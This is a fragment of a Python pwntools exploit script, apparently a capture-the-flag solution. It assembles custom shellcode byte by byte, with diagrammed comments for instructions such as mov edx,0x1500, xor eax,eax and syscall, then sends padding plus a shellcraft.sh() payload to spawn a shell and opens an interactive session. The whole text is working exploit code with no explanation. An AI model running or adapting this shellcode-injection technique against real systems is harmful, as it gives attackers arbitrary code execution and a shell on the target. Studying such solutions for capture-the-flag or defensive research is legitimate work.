shell+= '\xe9\xe9\x90' # <- mov rsi,rcx <---- | | |
shell+= '\x00\xe9'*0x1 # | | |
shell+= '\x90'*(0x10-0x5) # | | |
# | | |
# | | |
# calc mov edx,0x1500 | | |
""" # | | |
00001500ba # | | |
""" # | | |
# --0xb0 -- | | |
shell+= '\xe9\x90' # <- xor eax,eax--------------+------------ |
shell+= '\x00\xe9'*0x1 # | |
shell+= '\x05\x22\x00\x00\x00' # | |
shell+= '\x05\x08\x00\x00\x00' # | |
shell+= '\x01\x01' # ------------------------ | |
# --0xc0 -- | | |
shell+= '\x90\x00\x15\x00\x00' # <- mov edx,0x1500 <----- | |
shell+= '\x00\xe9'*0x2 # | |
shell+= '\x90'*(0x10-0x9) # | |
# | |
# calc syscall | |
""" # | |
050f # | |
""" # | |
# -- 0xd0 -- | |
shell+= '\xe9\x90' # <- xor eax,eax -------------- |
shell+= '\x00\xe9'*0x1 # |
shell+= '\x05\x02\x00\x00\x00' # |
shell+= '\x05\x0d\x00\x00\x00' # |
shell+= '\x01\x01' # ----------------------- |
# -- 0xe0 -- | |
shell+= '\xe9\x90' # <- xor eax,eax -------+--------------------------------
shell+= '\x90'*(0x10-0x2) # |
# --0xf0 -- |
shell+= '\x00\x05' # <- syscall <-----------


p.send(shell)
sleep(0.5)
getshell=b'a'*0x52+asm(shellcraft.sh())
p.send(getshell)
p.interactive()